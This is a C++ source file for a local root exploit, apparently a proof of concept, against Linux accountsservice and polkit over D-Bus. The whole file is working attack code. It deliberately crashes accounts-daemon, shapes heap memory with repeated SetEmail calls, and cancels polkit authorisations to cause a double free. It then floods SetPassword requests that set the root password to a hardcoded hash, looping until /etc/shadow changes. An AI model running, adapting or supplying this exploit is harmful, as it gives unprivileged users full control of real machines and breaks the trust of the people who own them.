#include <pwd.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <random>
#include <dbus_utils.hpp>
#include <EPollLoopDBusHandler.hpp>

static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon";
static const char* etc_shadow_path = "/etc/shadow";

// Return true if the timespecs are equal.
bool timespec_eq(const timespec& t1, const timespec& t2) {
  return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec;
}

// This class creates an array containing the names of all the files in a
// directory. It does this by running `scandirat` in its constructor.
class ScanDirAt {
  struct dirent **namelist_;
  const int n_;

public:
  explicit ScanDirAt(int fd)
    : n_(scandirat(fd, ".", &namelist_, NULL, alphasort))
  {
    if (n_ < 0) {
      throw ErrorWithErrno("ScanDirAt failed.");
    }
  }

  ~ScanDirAt();

  int size() const { return n_; }

  const char* get(int i) const { return namelist_[i]->d_name; }
};

ScanDirAt::~ScanDirAt() {
  if (n_ >= 0) {
    for (int i = 0; i < n_; i++) {
      free(namelist_[i]);
    }
    free(namelist_);
  }
}

// Search `/proc/*/cmdline` to find the PID of a running program.
static std::vector<pid_t> search_pids(const char *cmdline, size_t cmdline_len) {
  AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC));
  if (procdir_fd.get() < 0) {
    throw ErrorWithErrno("Could not open /proc.");
  }
  ScanDirAt scanDir(procdir_fd.get());

  const int n = scanDir.size();
  std::vector<pid_t> result;
  for (int i = 0; i < n; i++) {
    const char* subdir_name = scanDir.get(i);
    AutoCloseFD subdir_fd(
      openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC)
    );
    if (procdir_fd.get() < 0) {
      continue;
    }
    AutoCloseFD cmdline_fd(
      openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC)
    );
    if (cmdline_fd.get() < 0) {
      continue;
    }

    // Check if the command line matches.
    char buf[0x1000];
    ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf));
    if (r < 0 || static_cast<size_t>(r) < cmdline_len) {
      continue;
    }
    if (memcmp(buf, cmdline, cmdline_len) == 0) {
      // The name of the sub-directory is the PID.
      result.push_back(atoi(subdir_name));
    }
  }
  return result;
}

static pid_t search_pid(const char *cmdline, size_t cmdline_len) {
  std::vector<pid_t> pids = search_pids(cmdline, cmdline_len);
  if (pids.size() == 1) {
    return pids[0];
  }
  return -1;
}

static std::string getHomeDir(uid_t uid) {
  FILE *fp = fopen("/etc/passwd", "r");
  char buf[4096] = {};
  struct passwd pw;
  struct passwd *pwp;
  while (true) {
    if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) {
      fclose(fp);
      char errmsg[256];
      snprintf(
        errmsg, sizeof(errmsg),
        "Could not find UID %u in /etc/passwd.",
        uid
      );
      throw Error(errmsg);
    }
    if (uid == pw.pw_uid) {
      fclose(fp);
      return _s(pw.pw_dir);
    }
  }
}

// An asynchronous version of a for loop:
//
//  for (size_t i = start; i < end; i++) { body(i); }
//
static int async_loop(
  size_t start, size_t end,
  std::function<int(size_t i, std::function<int()>)> body,
  std::function<int()> cb
) {
  if (start >= end) {
    return cb();
  }

  return body(
    start,
    [start, end, body, cb]() -> int {
      return async_loop(start+1, end, body, cb);
    }
  );
}

// Information that can be gathered once when we first start executing.
class ProgramInfo {
public:
  // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket)
  const char* dbus_socket_path_;

  // UID and PID of this process.
  const uid_t uid_;
  const pid_t pid_;

  // Start time of the process. (Needed to register as an authentication agent.)
  const uint64_t start_time_;

  const std::string homedir_;

  explicit ProgramInfo(const char* dbus_socket_path) :
    dbus_socket_path_(dbus_socket_path),
    uid_(getuid()),
    pid_(getpid()),
    start_time_(process_start_time(pid_)),
    homedir_(getHomeDir(uid_))
  {
    printf("uid: %u\n", uid_);
    printf("pid: %u\n", pid_);
    printf("home dir: %s\n", homedir_.c_str());
  }
};

class PolkitHandler;
class AccountsHandler;

// This class manages the two EPoll handlers that we have open (one for
// communicating with polkit and the other for communicating with
// accountsservice). It enables the two handlers to call each other's
// methods when necessary, and it also takes care of shutting the handlers
// down. (The EPollLoop will not stop until all the handlers are
// disconnected, so when one handler disconnects the other needs to also
// disconnect.)
class EPollManager {
  EPollLoop& loop_;

  // These pointers are owned by the EPollLoop. We have keep copies of them
  // here so that we can call methods on them, and also so that we can call
  // `EPollLoop::del_handler()` on them when we're done.
  PolkitHandler* polkit_handler_ = nullptr;
  AccountsHandler* accounts_handler_ = nullptr;

  void del_polkit_handler();
  void del_accounts_handler();

public:
  explicit EPollManager(EPollLoop& loop) :
    loop_(loop)
  {}

  PolkitHandler* polkit_handler() { return polkit_handler_; }
  AccountsHandler* accounts_handler() { return accounts_handler_; }

  void set_polkit_handler(PolkitHandler* polkit_handler){
    assert(!polkit_handler_);
    polkit_handler_ = polkit_handler;
  }

  void set_accounts_handler(AccountsHandler* accounts_handler){
    assert(!accounts_handler_);
    accounts_handler_ = accounts_handler;
  }

  void polkit_delete() {
    polkit_handler_ = nullptr;
    stop();
  }

  void accounts_delete() {
    accounts_handler_ = nullptr;
    stop();
  }

  void stop() const;
};

class PolkitHandler : public DBusHandler {
  // This struct is used to store an error reply message, which we
  // will send later.
  struct BatchedErrorReply {
    const serialNumber_t replySerial_;
    const std::string sender_;

    BatchedErrorReply(
      const serialNumber_t replySerial,
      const std::string sender
    ) :
      replySerial_(replySerial),
      sender_(sender)
    {}
  };

  const ProgramInfo& info_;
  EPollManager& manager_;

  // We deliberately delay responding to some of the polkit requests, to
  // control the order of operations in accountsservice. The replies are
  // queued here.
  std::queue<BatchedErrorReply> error_reply_queue_;

private:
  int quit() {
    return -1;
  }

  int register_with_polkit() {
    std::unique_ptr<DBusMessageBody> body =
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          // Subject
          DBusObjectStruct::mk(
            _vec<std::unique_ptr<DBusObject>>(
              DBusObjectString::mk(_s("unix-process")), // subject_kind
              DBusObjectArray::mk1(
                _vec<std::unique_ptr<DBusObject>>(
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("pid")),
                    DBusObjectVariant::mk(
                      DBusObjectUint32::mk(info_.pid_)
                    )
                  ),
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("uid")),
                    DBusObjectVariant::mk(
                      DBusObjectInt32::mk(info_.uid_)
                    )
                  ),
                  DBusObjectDictEntry::mk(
                    DBusObjectString::mk(_s("start-time")),
                    DBusObjectVariant::mk(
                      DBusObjectUint64::mk(info_.start_time_)
                    )
                  )
                )
              )
            )
          ),
          DBusObjectString::mk(_s("en")), // locale
          DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path
        )
      );

    send_call(
      std::move(body),
      _s("/org/freedesktop/PolicyKit1/Authority"),
      _s("org.freedesktop.PolicyKit1.Authority"),
      _s("org.freedesktop.PolicyKit1"),
      _s("RegisterAuthenticationAgent"),
      [this](const DBusMessage& message, bool isError) -> int {
        if (isError) {
          // Signal to the rest of the program that an error occurred.
          print_dbus_message(STDERR_FILENO, message);
          fprintf(stderr, "Could not register with polkit.\n");
          fflush(stderr);
          return quit();
        } else {
          printf("Successfully registered with polkit\n");
          return 0;
        }
      }
    );

    return 0;
  }

public:
  PolkitHandler(
    const ProgramInfo& info,
    EPollManager& manager
  ) :
    DBusHandler(info.dbus_socket_path_),
    info_(info),
    manager_(manager)
  {}

  ~PolkitHandler() override {
    manager_.polkit_delete();
  }

  void stop() const {
    shutdown(sock_, SHUT_RDWR);
  }

  void accept() override final {
    manager_.set_polkit_handler(this);
    send_hello(
      [this](const std::string& busname) -> int {
        fprintf(stdout, "Unique bus name (polkit): %s\n", busname.c_str());
        fflush(stdout);

        return register_with_polkit();
      }
    );
  }

  // Every time we attempt to set the root user's password by
  // calling the SetPassword method, we should get an incoming
  // polkit request here.
  void receive_call(const DBusMessage& message) override final {
    const std::string& sender =
      message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue();
    error_reply_queue_.push(
      BatchedErrorReply(message.getHeader_serialNumber(), sender)
    );
  }

  // We don't expect to receive any calls.
  void receive_signal(const DBusMessage&) override final {
    logerror("Received a signal in PolkitHandler.");
  }

  void receive_error(const DBusMessage& err) override final {
    logerror("Received an error in PolkitHandler.");
    print_dbus_message(STDERR_FILENO, err);
    throw Error("Unexpected error in PolkitHandler.");
  }

  void disconnect() noexcept override final {
    logerror("PolkitHandler D-Bus socket disconnected.");
  }

  void logerror(const char* errmsg) noexcept override final {
    fprintf(stderr, "%s\n", errmsg);
  }

  // Send at most `n` error replies to cancel the polkit requests.
  // Due to the unpredicatable timing of when we receive the polkit
  // requests it's possible that there are less than `n` elements in
  // the queue. If so, we just stop early and don't worry about it.
  // (We empty the queue at the beginning of every iteration of the
  // exploit, to stop the queue from growing too big.)
  void cancel_auth_requests(const size_t n) {
    for (size_t i = 0; i < n; i++) {
      if (error_reply_queue_.empty()) {
        return;
      }

      BatchedErrorReply& reply = error_reply_queue_.front();
      send_error_reply(
        reply.replySerial_,
        _s(reply.sender_),
        _s("org.freedesktop.PolicyKit1.Error.Cancelled")
      );
      error_reply_queue_.pop();
    }
  }
};

class AccountsHandler : public DBusHandler {
  const ProgramInfo& info_;
  EPollManager& manager_;

  // std::random is used to vary the batch sizes on each run, because
  // it's difficult to know which batch sizes are the most likely to
  // succeed.
  std::random_device rd_;
  std::mt19937 gen_;
  std::uniform_int_distribution<> distrib_;

  size_t batch_size1_ = 1;
  size_t batch_size2_ = 1;

  std::string my_objectpath_;
  std::string root_objectpath_;
  const std::string pam_env_path_;

  // Email address for sending to the SetEmail method.
  // Changing the email address triggers a call to `save_extra_data`, which
  // causes a bunch of memory to be allocated and freed, but without
  // increasing the total memory usage. (At least, I haven't noticed any
  // memory leaks in that code.) Sometimes we do this to deliberately
  // jumble the memory up so that a subsequent memory allocation will
  // occupy the chunk that we want it to.  Other times, we deliberately
  // call the SetEmail method with the same email address as last time, so
  // that we trigger a polkit check that will get approved, but without
  // jumbling the memory any further.
  char email_[128] = "kevwozere@kevwozere.com";

private:
  int quit() {
    return -1;
  }

  void choose_batch_sizes() {
    batch_size1_ = distrib_(gen_);
    batch_size2_ = distrib_(gen_);
    printf("batch sizes: %ld %ld\n", batch_size1_, batch_size2_);
  }

public:
  AccountsHandler(
    const ProgramInfo& info,
    EPollManager& manager
  ) :
    DBusHandler(info.dbus_socket_path_),
    info_(info),
    manager_(manager),
    gen_(rd_()),
    distrib_(1,64),
    pam_env_path_(info_.homedir_ + _s("/.pam_environment"))
  {}

  virtual ~AccountsHandler() override {
    manager_.accounts_delete();
  }

  void stop() const {
    shutdown(sock_, SHUT_RDWR);
  }

  void accept() override final {
    manager_.set_accounts_handler(this);
    send_hello(
      [this](const std::string& busname) -> int {
        fprintf(stdout, "Unique bus name (accounts): %s\n", busname.c_str());
        fflush(stdout);

        return findUserByID(
          info_.uid_,
          [this](const char* userpath, bool isError) -> int {
            if (isError) {
              return quit();
            } else {
              my_objectpath_ = userpath;
              return attempt_exploit();
            }
          }
        );
      }
    );
  }

  // We don't expect to receive any calls.
  void receive_call(const DBusMessage&) override final {
    logerror("Unexpected incoming call in AccountsHandler.");
  }

  // We don't expect to receive any calls.
  void receive_signal(const DBusMessage&) override final {
    logerror("Received a signal in AccountsHandler.");
  }

  void receive_error(const DBusMessage& err) override final {
    logerror("Received an error in AccountsHandler.");
    print_dbus_message(STDERR_FILENO, err);
  }

  void disconnect() noexcept override final {
    logerror("AccountsHandler D-Bus socket disconnected.");
  }

  void logerror(const char* errmsg) noexcept override final {
    fprintf(stderr, "%s\n", errmsg);
  }

  int findUserByID(
    uid_t uid,
    std::function<int(const char* userpath, bool isError)> cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectInt64::mk(uid)
        )
      ),
      _s("/org/freedesktop/Accounts"),
      _s("org.freedesktop.Accounts"),
      _s("org.freedesktop.Accounts"),
      _s("FindUserById"),
      [this, cb](const DBusMessage& message, bool isError) -> int {
        if (isError) {
          logerror("FindUserById failed");
          return cb(nullptr, true);
        } else {
          const std::string& userpath =
            message.getBody().getElement(0)->toPath().getValue();
          printf("FindUserById: %s\n", userpath.c_str());
          return cb(userpath.c_str(), false);
        }
      }
    );

    return 0;
  }

  int accounts_set_property(
    const char* userpath,
    const char* command,
    const char* value,
    reply_cb_t cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectString::mk(_s(value))
        )
      ),
      _s(userpath),
      _s("org.freedesktop.Accounts.User"),
      _s("org.freedesktop.Accounts"),
      _s(command),
      cb
    );

    return 0;
  }

  int accounts_set_password(
    const char* userpath,
    const char* password,
    const char* hint,
    reply_cb_t cb
  ) {
    send_call(
      DBusMessageBody::mk(
        _vec<std::unique_ptr<DBusObject>>(
          DBusObjectString::mk(_s(password)),
          DBusObjectString::mk(_s(hint))
        )
      ),
      _s(userpath),
      _s("org.freedesktop.Accounts.User"),
      _s("org.freedesktop.Accounts"),
      _s("SetPassword"),
      cb
    );

    return 0;
  }

  // This function triggers the bug by removing `~/.pam_environment` and
  // calling the "SetLanguage" method.
  int trigger_bug(reply_cb_t cb) {
    unlink(pam_env_path_.c_str());
    return accounts_set_property(
      my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb
    );
  }

  // We use this function to make sure that we're starting from a clean slate.
  // It makes the exploit a bit less unreliable.
  int restart_accounts_daemon(std::function<int()> cb) {
    return trigger_bug(
      [this, cb](const DBusMessage&, bool isError) -> int {
        if (isError) {
          const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
          if (pid < 0) {
            printf("accounts-daemon is not running\n");
            return cb();
          } else {
            printf("accounts-daemon PID: %d\n", pid);
          }
        }
        // The reply isn't an error, which means that accounts-daemon
        // didn't crash yet. Try again.
        return restart_accounts_daemon(cb);
      }
    );
  }

  int send_batch(
    const char* password, const char* hint, const size_t batch_size,
    std::function<int()> cb
  ) {
    return async_loop(
      0, batch_size,
      [this, password, hint](size_t i, std::function<int()> next) -> int {
        // Change the email address to jumble the memory.
        snprintf(
          email_, sizeof(email_),
          "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com",
          i
        );
        return accounts_set_property(
          my_objectpath_.c_str(), "SetEmail", email_,
          [this, password, hint, next](const DBusMessage&, bool) -> int {
            // Send the SetPassword message, but don't wait for the reply.
            accounts_set_password(
              root_objectpath_.c_str(), password, hint,
              [this, password](const DBusMessage&, bool isError) -> int {
                if (isError) {
                  return 0;
                } else {
                  printf("SetPassword succeeded!  password = %s\n", password);
                  return quit();
                }
              }
            );

            return next();
          }
        );
      },
      cb
    );
  }

  int attempt_exploit() {
    choose_batch_sizes();

    return restart_accounts_daemon(
      [this]() -> int {
        return findUserByID(
          0,
          [this](const char* rootpath, bool isError) -> int {
            if (isError) {
              // Something went wrong. Try again.
              return attempt_exploit();
            } else {
              root_objectpath_ = rootpath;

              const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
              printf("Starting exploit. PID: %u\n", pid);

              return trigger_bug(
                [this](const DBusMessage&, bool isError) -> int {
                  printf("trigger_bug:  isError = %d\n", (int)isError);

                  // The password and hint are sized so that they will require a chunk
                  // bigger than size 0x40.
                  const char* password =
                    "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef";
                  const char* hint =
                    "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
                  return send_batch(
                    password, hint, batch_size1_,
                    [this]() -> int {
                      // Trigger the bug a second time. If things are going to
                      // plan then the chunk currently contains the memory that
                      // was allocated by `user_set_password`. We can control
                      // when `free_passwords` gets called on it by releasing
                      // `polkit_requests_batch1`.
                      return trigger_bug(
                        [this](const DBusMessage&, bool isError) -> int {
                          printf("trigger_bug:  isError = %d\n", (int)isError);

                          // The password and hint are sized so that they will require a chunk
                          // of size 0x40.
                          const char* password =
                            "0123456789abcdef0123456789abcdef0123456789abcdef";
                          const char* hint =
                            "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF";
                          return send_batch(
                            password, hint, batch_size2_,
                            [this]() -> int {
                              // Cancel the first batch of polkit requests.
                              PolkitHandler* polkit_handler = manager_.polkit_handler();
                              if (!polkit_handler) {
                                return quit();
                              }

                              polkit_handler->cancel_auth_requests(batch_size1_);

                              // Send a bunch of requests that will be approved by polkit (because
                              // they only require org.freedesktop.accounts.change-own-user-data
                              // permission). We're hoping that the auth data that is allocated for
                              // one of these in `daemon_local_check_auth` (in an 0x40 chunk size)
                              // will get freed before it is approved and overwritten with the auth
                              // data for one of the subsequent SetPassword requests.
                              // We alternate between the different messages because the timing
                              // of when things will happen is very difficult to predict, so we
                              // just have to rely on luck.
                              for (size_t i = 0; i < batch_size2_ + 64; i++) {
                                // Reject all of the authentication requests from the second batch.
                                // This will hopefully cause a double free of one of the 0x40 chunks.
                                // We reject them one at a time, because we want the messages to
                                // be interspersed with the others.
                                polkit_handler->cancel_auth_requests(1);

                                // Note: this sends the same email address as we sent earlier. That's
                                // because we don't want `user_change_email_authorized_cb` to call
                                // `save_extra_data`, which would cause a bunch of memory churn that
                                // we don't want.
                                accounts_set_property(
                                  my_objectpath_.c_str(), "SetEmail", email_,
                                  [](const DBusMessage&, bool) -> int {
                                    return 0;
                                  }
                                );

                                // password: iaminvincible!
                                const char* password =
                                  "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB";
                                const char* hint = "GoldenEye";
                                accounts_set_password(
                                  root_objectpath_.c_str(), password, hint,
                                  [this](const DBusMessage&, bool isError) -> int {
                                    if (isError) {
                                      return 0;
                                    } else {
                                      printf("SetPassword succeeded!\n");
                                      return quit();
                                    }
                                  }
                                );
                              }

                              // One final email change, for synchronization purposes.
                              snprintf(email_, sizeof(email_), "kevwozere@kevwozere.com");
                              return accounts_set_property(
                                my_objectpath_.c_str(), "SetEmail", email_,
                                [this](const DBusMessage&, bool isError) -> int {
                                  printf("SetEmail  isError = %d\n", isError);
                                  const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon));
                                  printf("End iteration. PID: %d\n", pid);
                                  return quit();
                                }
                              );
                            }
                          );
                        }
                      );
                    }
                  );
                }
              );
            }
          }
        );
      }
    );
  }
};

void EPollManager::stop() const {
  if (polkit_handler_) {
    polkit_handler_->stop();
  }
  if (accounts_handler_) {
    accounts_handler_->stop();
  }
}

int main(int argc, char* argv[]) {
  const char* progname = argc > 0 ? argv[0] : "a.out";
  if (argc != 2) {
    fprintf(
      stderr,
      "usage:   %s <unix socket>\n"
      "example: %s /var/run/dbus/system_bus_socket\n",
      progname,
      progname
    );
    return EXIT_FAILURE;
  }

  const char* dbus_socket_path = argv[1];

  // When the poc is successful, the root user's password is set,
  // which causes /etc/shadow to be modified. So we can use stat
  // to detect when the exploit was successful.
  struct stat statorig = {};
  stat(etc_shadow_path, &statorig);

  try {
    while (true) {
      EPollLoop loop;

      ProgramInfo info(dbus_socket_path);
      EPollManager manager(loop);

      DBusAuthHandler* polkit_auth_handler =
        new DBusAuthHandler(info.uid_, new PolkitHandler(info, manager));
      if (loop.add_handler(polkit_auth_handler) < 0) {
        throw Error(_s("Failed to add PolkitHandler"));
      }

      DBusAuthHandler* accounts_auth_handler =
        new DBusAuthHandler(info.uid_, new AccountsHandler(info, manager));
      if (loop.add_handler(accounts_auth_handler) < 0) {
        throw Error(_s("Failed to add AccountsHandler"));
      }

      loop.run();

      // If accountsservice crashes too often within a short period
      // of time then it gets prevented from restarting, so it's better
      // sleep for a few seconds between each exploit attempt.
      sleep(4);

      // If the timestamp of /etc/shadow has changed then the exploit
      // was (probably) successful.
      struct stat statnew;
      stat(etc_shadow_path, &statnew);
      if (!timespec_eq(statnew.st_mtim, statorig.st_mtim)) {
        printf("%s was modified!\n", etc_shadow_path);
        break;
      }
    }
  } catch (ErrorWithErrno& e) {
    const int err = e.getErrno();
    fprintf(stderr, "%s\n%s\n", e.what(), strerror(err));
    return EXIT_FAILURE;
  } catch (std::exception& e) {
    fprintf(stderr, "%s\n", e.what());
    return EXIT_FAILURE;
  }

  return EXIT_SUCCESS;
}
